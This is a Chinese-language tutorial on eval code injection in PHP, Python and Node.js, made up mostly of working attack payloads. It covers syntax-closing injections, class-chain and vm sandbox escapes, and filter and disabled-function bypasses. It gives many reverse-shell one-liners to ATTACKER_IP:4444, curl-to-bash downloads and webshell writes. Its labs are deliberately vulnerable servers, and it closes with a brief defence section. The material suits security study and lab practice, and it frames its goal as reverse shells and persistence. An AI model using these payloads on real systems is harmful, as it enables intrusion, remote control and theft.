一、eval 是什么
eval() 是各语言中最危险的函数之一,它将字符串当作代码执行。当用户输入能够进入 eval() 时,就会产生代码注入漏洞。
eval("echo 'hello';"); // PHP: 执行 PHP 代码
eval("import os; os.system('id')") # Python: 执行 Python 代码
eval("require('child_process').execSync('ls')") // Node.js: 执行 JS 代码
二、PHP eval 注入
2.1 基础漏洞模型
<?php
// 场景1: 直接拼接用户输入
$code = $_GET['cmd'];
eval($code);
// 场景2: 用户输入嵌入字符串
$prefix = 'echo "Hello, ';
$suffix = '!";';
eval($prefix . $_GET['name'] . $suffix);
// 攻击: ?name=';phpinfo();//
// 场景3: 代码中嵌入变量
$code = '$user = "' . $_GET['user'] . '";';
eval($code);
// 攻击: ?user=";system('whoami');//
// 场景4: 数组访问
$id = $_GET['id'];
eval("$res = $users[$id];");
// 攻击: ?id=0];phpinfo();//
?>
2.2 闭合技巧大全
// 原始代码结构
eval("something('" . $user_input . "');");
// 方式1: 单引号闭合
// 输入: ');phpinfo();//
// 执行结果: eval("something('');phpinfo();//');");
// 方式2: 双引号闭合
// 输入: ");phpinfo();//
// 执行结果: eval("something(");phpinfo();//");
// 方式3: 分号 + 注释
// 输入: ';system('id');//
// 方式4: 替换逻辑
// 假设代码: eval("$a = str_replace('x', '$user', '$src');");
// 输入: x','');system('id');//
// 结果: eval("$a = str_replace('x', '');system('id');//', '');");
2.3 PHP 动态函数调用与 assert()
<?php
// assert() 在 PHP 5 中可以执行代码
assert($_GET['cmd']); // 等价于 eval()
// call_user_func
call_user_func($_GET['func'], $_GET['arg']);
// ?func=system&arg=whoami
// 动态变量
$func = $_GET['func'];
$func($_GET['arg']);
// 数组回调
$cb = array($_GET['class'], $_GET['method']);
call_user_func($cb);
// 反引号执行 shell
$result = `whoami`; // 等同于 shell_exec()
2.4 无字母数字绕过
当 [a-zA-Z0-9] 被过滤时,仍可执行代码:
<?php
// 使用异或构造字符
$_=('!'^'+') // '('
.__=('|'^'/') // 'S'
// 完整的异或表可以构造任意函数名
// 使用自增运算符
$a=++$a; // 从 null 变成 1
// 逐步构造 'S','Y','S','T','E','M'
$_.=++$_; // S
$_.=++$_; // SY
// ...
// 使用 file_put_contents 写马
# 构造: file_put_contents('a.php', '<?php eval($_POST[a]);')
2.5 PHP 反弹 Shell PoC
<?php
// eval 注入 Payload
// 监听端: nc -lvnp 4444
// Payload 1: 标准反弹
eval("system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');");
// Payload 2: 下载并执行
eval("system('curl http://ATTACKER/reverse.sh|bash');");
// Payload 3: Python 反弹(如果有 Python)
eval("system('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([\"/bin/sh\"])"');");
// Payload 4: Perl 反弹
eval("system('perl -e \'use Socket;\$i=\"ATTACKER_IP\";\$p=4444;socket(S,AF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh\");};\'');");
// Payload 5: 长连接(无 nc 时)
eval("system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" 2>/dev/null &');");
?>
三、Python eval 注入
3.1 基础漏洞模型
from flask import Flask, request
app = Flask(__name__)
@app.route('/calc')
def calc():
expr = request.args.get('expr', '1+1')
result = eval(expr) # 危险!
return str(result)
# 攻击 Payload:
# __import__('os').system('whoami')
# __import__('subprocess').getoutput('id')
# open('/etc/passwd').read()
# [].__class__.__bases__[0].__subclasses__()
3.2 Python 类继承链利用
# 获取所有已加载的类
[].__class__.__bases__[0].__subclasses__()
# 找到 os._wrap_close 类
# 利用其 __init__ 中的 popen
# 找 __import__ 函数
().__class__.__bases__[0].__subclasses__()[某个索引].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
# 更短的形式
__import__('os').popen('whoami').read()
# 使用 globals
globals().__getitem__('__builtins__')['__import__']('os').system('id')
# 利用 list 的子类
list.__subclasses__()[0].__init__.__globals__['__builtins__']['__import__']('os').system('id')
3.3 Python exec 与 compile
# exec 可以执行多行代码
exec("import os
os.system('whoami')")
# compile 可以构造代码对象再执行
code = compile("import os; os.system('id')", '<string>', 'exec')
eval(code) # 或 exec(code)
# execfile(Python 2)
execfile('/etc/passwd') # 会执行文件内容
3.4 Python Flask SSTI 与 eval 组合
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/page')
def page():
name = request.args.get('name')
# 模板注入
return render_template_string(f'Hello {name}!')
# 攻击:
# {{7*7}} -> 49(模板注入验证)
# {{config}} -> 泄露配置
# {{''.__class__.__mro__[2].__subclasses__()}} -> 获取类列表
# 结合 eval 执行任意代码
3.5 Python 反弹 Shell 完整 PoC
# eval 注入中的反弹 Shell Payload(单行)
__import__('socket').socket(2,1).connect(('ATTACKER_IP',4444));import os;[os.dup2(0,f) for f in (1,2)];os.execv('/bin/sh',('sh',))
# 带 subprocess 的版本
__import__('subprocess').call(['/bin/bash','-c','bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'])
# 利用 exec(如果 eval 不行但 exec 可以)
exec("""import socket, os
s = socket.socket()
s.connect(('ATTACKER_IP', 4444))
for fd in (0,1,2):
os.dup2(s.fileno(), fd)
os.exec('/bin/sh')""")
# 写入 webshell
__import__('os').system("echo '<?php eval($_POST[cmd]);?>' > /var/www/html/shell.php")
四、Node.js eval 注入
4.1 基础漏洞模型
const express = require('express');
const app = express();
app.get('/calc', (req, res) => {
const expr = req.query.expr;
// 危险 eval
const result = eval(expr);
res.send(String(result));
});
// 攻击 Payload:
// process.mainModule.require('child_process').execSync('whoami').toString()
// require('child_process').exec('id')
4.2 Node.js 全局对象与沙箱逃逸
// 获取全局对象
this.constructor.constructor('return this')()
// 或
Function('return this')()
// 获取 process 对象
this.constructor.constructor('return process')()
// 然后访问 mainModule
// 获取 require
process.mainModule.require
// 或
global.require
// 完整的命令执行链
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
// 更短形式
global.process.mainModule.require('child_process').execSync('id')
4.3 Node.js vm 模块逃逸
const vm = require('vm');
// 漏洞代码 - 创建了看似安全的沙箱
const sandbox = {};
const script = new vm.Script(userInput);
const context = vm.createContext(sandbox);
script.runInContext(context);
// 逃逸 Payload:
this.constructor.constructor('return this.constructor.constructor')()
// 最终获取 process.mainModule.require
// 或通过 Error 构造函数
err = new Error();
err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id')
4.4 Node.js 反弹 Shell
// 反弹 Shell Payload(需先获取 require)
require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')
// 无 require 时
this.constructor.constructor('return process')().mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')
// 短连接版本
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl http://ATTACKER/s.sh|bash')
五、跨语言代码注入对比
| 特性 | PHP eval | Python eval | Node.js eval |
|---|---|---|---|
| 是否需要闭合语法 | 通常需要 | 不需要 | 不需要 |
| 命令执行函数 | system(),exec(),shell_exec() |
os.system(),subprocess |
child_process.exec() |
| 无字母绕过 | 可通过异或 | 可通过 base64/类链 | 可通过 Function 构造器 |
| 沙箱逃逸 | disable_functions 限制 | restricted eval 模式 | vm 模块 |
| 文件写入 | file_put_contents() |
open().write() |
fs.writeFileSync() |
六、实战环境搭建
6.1 PHP eval 靶场
<?php
// eval-lab.php - 自己搭建的简单靶场
$action = $_GET['action'] ?? 'phpinfo();';
echo '<h3>Eval Lab</h3>';
eval($action);
?>
<!-- 测试: http://localhost:8080/eval-lab.php?action=phpinfo(); -->
<!-- 攻击: http://localhost:8080/eval-lab.php?action=system('whoami'); -->
6.2 Python Flask eval 靶场
from flask import Flask, request
app = Flask(__name__)
@app.route('/eval')
def do_eval():
code = request.args.get('c', '1+1')
try:
result = eval(code)
return str(result)
except Exception as e:
return str(e)
@app.route('/exec')
def do_exec():
code = request.args.get('c', 'print(1)')
try:
exec(code)
return "executed"
except Exception as e:
return str(e)
if __name__ == '__main__':
app.run(port=5000, debug=True)
# 测试: http://localhost:5000/eval?c=__import__('os').system('whoami')
6.3 Node.js eval 靶场
const express = require('express');
const app = express();
app.get('/eval', (req, res) => {
const code = req.query.c || '1+1';
try {
const result = eval(code);
res.send(String(result));
} catch(e) {
res.send(e.message);
}
});
app.listen(3000, () => console.log('Running on port 3000'));
// 测试: http://localhost:3000/eval?c=require('child_process').execSync('whoami').toString()
七、过滤绕过实战
7.1 单双引号过滤
// PHP
// 无引号: 使用 $_GET 变量引用
eval($_GET['a'][$_GET['b']]); // a=system&b=whoami
// Python
# 无引号: 使用 chr 或 base64
__import__('os').system('whoami')
# 转 base64
__import__('base64').b64decode('d2hvYW1p').decode()
# 拼接
''.join(chr(c) for c in [119,104,111,97,109,105])
// Node.js
// 无引号: 使用 String.fromCharCode
require('child_process').execSync(String.fromCharCode(119,104,111,97,109,105))
7.2 system 关键字过滤
// PHP - 拆分绕过
// s.y.s.t.e.m -> system
$func = 's' . 'y' . 's' . 't' . 'e' . 'm';
$func('whoami');
// 数组键名
$_GET['sy' . 'stem']($_GET['cmd']);
// PHP 7+ 组合
// ?cmd=whoami
// eval 中: ${"system"}($_GET['cmd']);
7.3 禁用函数绕过(PHP)
如果 system/exec/passthru 都被禁用:
1. 使用 pcntl_exec(如果启用)
2. 使用 backtick operator `cmd`
3. 使用 PHP 7+ 的 FFI 扩展调用 C 函数
4. 使用 Imagick 等扩展的命令执行
5. 使用 Mail() 函数(需要配置 sendmail)
6. 使用 Apache 的 mod_cgi
7. 使用 curl 的 CURLOPT_WRITEFUNCTION 配合命令注入
8. 使用 extract() 覆盖变量导致代码执行
八、防御代码注入
8.1 禁用 eval
// php.ini: disable_functions = eval,assert,passthru,exec,shell_exec,system,popen,proc_open
// 但 PHP 8 中 assert 已不能执行代码
8.2 白名单机制
import ast
def safe_eval(expr):
allowed_nodes = (
ast.Expression, ast.BinOp, ast.UnaryOp,
ast.Num, ast.Str, ast.Constant, ast.Name,
ast.Load, ast.Add, ast.Sub, ast.Mult, ast.Div,
ast.Mod, ast.Pow, ast.LShift, ast.RShift
)
tree = ast.parse(expr, mode='eval')
for node in ast.walk(tree):
if not isinstance(node, allowed_nodes):
raise ValueError(f"Disallowed: {type(node).__name__}")
return eval(compile(tree, '<safe>', 'eval'))
8.3 Node.js 沙箱化
// 使用 isolated-vm 或 vm2 库
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({ memoryLimit: 16 });
const context = isolate.createContextSync();
// 不继承全局对象,阻断 process/mainModule 访问
const script = isolate.compileScriptSync(userInput);
script.runSync(context);
九、总结
代码注入的核心技巧:
- 闭合语法:理解代码上下文,构造正确的 Payload 闭合
- 寻找命令执行原语:system/exec/child_process 等
- 绕过过滤:字符串拼接、变量引用、base64、chr 数组
- 沙箱逃逸:从受限环境获取 process/require/System 等全局对象
- 实战转化:命令执行 -> 反弹 Shell -> 持久化